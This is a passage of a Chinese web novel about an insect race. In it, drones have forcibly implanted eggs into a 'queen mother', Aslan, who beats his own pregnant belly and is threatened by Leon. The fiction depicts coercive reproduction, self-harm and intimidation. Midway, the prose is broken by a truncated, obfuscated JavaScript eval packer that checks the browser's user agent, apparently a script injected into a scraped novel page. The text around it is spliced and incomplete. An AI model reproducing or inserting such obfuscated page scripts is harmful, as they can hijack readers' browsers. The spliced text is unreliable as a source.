这意味着,虫母的身体在说:我需要你们。 莱昂猛地站起身,下一秒,他的身影已经消失在门口。 走廊里,他撞上了同样红了眼的奥瑟。 “是妈妈发情了。”奥瑟的声音哑得不像话:“妈妈在怀孕,怎么会发情?” 莱昂脸色沉沉:“你忘了吗?阿斯兰并没有怀孕。他不能产子,那些虫卵是我们强行塞进他孕囊里的,为了确保虫族未来而采取的必要措施而已。” 奥瑟默了默说:“如果是虫卵压到了那里,那等适应后就好了,妈妈总会怀孕的。” 同时,惩戒营。 埃德蒙正被锁在信息素抑制室中,四肢被合金镣铐固定在墙上。 这是专门用来惩罚失控雄虫的地方,足以让任何S级雄虫在几分钟内失去行动能力。 但对于埃德蒙,这只是让他更加疯狂而已。 他已经在这里待了好多天,没有见到妈妈,没有闻到妈妈的味道,没有听到妈妈的声音,每一秒都是煎熬。 然后,他闻到了。 那股甜得让他心颤的香气,穿过重重墙壁,穿过抑制信息素的封锁,穿过一切阻碍,像一只温柔的手,抚摸着他的神经。 埃德蒙的复眼瞬间充血。 “妈妈……妈妈在叫我……” 他挣扎起来,镣铐发出刺耳的摩擦声,抑制信息素疯狂地灌入,却根本压不住他暴涨的欲念。 “妈妈——妈妈——我在这里——我在这里啊——” 他的声音在密闭的室内回荡,像困兽的嘶吼。 但没有用,镣铐依旧锁着他,墙壁依旧困着他,他只能在这里,隔着重重阻碍,闻着那让他疯狂的味道,却无法靠近一步。 “啊啊啊啊啊——” * 赫里安是最晚赶到的。 不是因为他不想来,而是因为他正在主持一场内阁会议。 当信息素的味道飘进会议室时,他愣了整整十秒,然后丢下满桌暴露虫型的大臣,狂奔而出。 阿斯兰怎么会突然发情?是不是拉诺那群工蜂没有尽职尽责地照顾虫母?真应该杀了他们! 当他冲到寝殿门口时,那里已经乱成了一锅粥。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他的身体本能地想要蜷缩起来保护自己,但沉重的孕肚让他根本无法蜷缩,只能仰躺在床上,承受着那些小东西的折腾。 他抬起手,狠狠一拳捶在自己的肚子上。 那一下力道不轻,打得他的孕肚剧烈晃动,里面的虫卵瞬间安静了一瞬。 但只有一瞬。 下一秒,它们闹得更凶了,像是被激怒了,像是在害怕,像是在说“妈妈怎么打我们”。 阿斯兰的眼泪被逼了出来。 不是哭,只是生理性的泪水,因为太疼了,疼得眼睛发酸。 他又捶了一拳,一拳又一拳:“我说老实点!听不懂吗?你们这些……小畜生……像你们的父亲一样恶心……一样不知道什么叫适可而止……” 他的拳头一下一下落在自己的孕肚上,每一次落下,那隆起的弧线就剧烈地晃动一次,里面的虫卵就更加疯狂地折腾一次。 腹部的皮肤开始泛红,是被捶打的痕迹。 那层被撑得薄薄的皮肤下面,四颗虫卵依旧在疯狂地蠕动,像四只要破体而出的怪物。 阿斯兰的手终于停了下来。 他累了。 他靠在床头,剧烈地喘息着,手还按在肚子上,能感觉到那些小东西依旧在动,依旧在折腾,依旧不知疲倦。 “你们只会索取,把我当成容器……”他的声音哑得几乎听不见,“你们为什么不去死呢……” 它们似乎感知到了什么,动作渐渐轻了下来,像是在试探,又像是在道歉。 但是阿斯兰没有理会它们。 “等你们出生,最好别让我看见你们,因为我会恨你们,就像恨你们的父亲一样。” 突然,莱昂出现在大门口,所有雄虫都为他让路。 毕竟他是第一个将虫卵放进虫母孕囊的雄虫,等同于虫母的第一王夫,虫族很注重王夫间的次第尊卑。 莱昂走到床边,看着阿斯兰泛红的肚皮,英俊的脸变得阴沉,他弯下腰,用只有两人能听到的声音说: “妈妈,我不知道你是有意还是无意,但听着,这是第一次,也是最后一次。” “如果你敢用你自己、用你肚子里虫卵的安全来冒险,来达成任何目的……我发誓,我会让你连这张床都下不了,你会真正明白,什么是‘永远’。” “是吗?”阿斯兰反手揪住他的衣领:“莱昂,你敢?”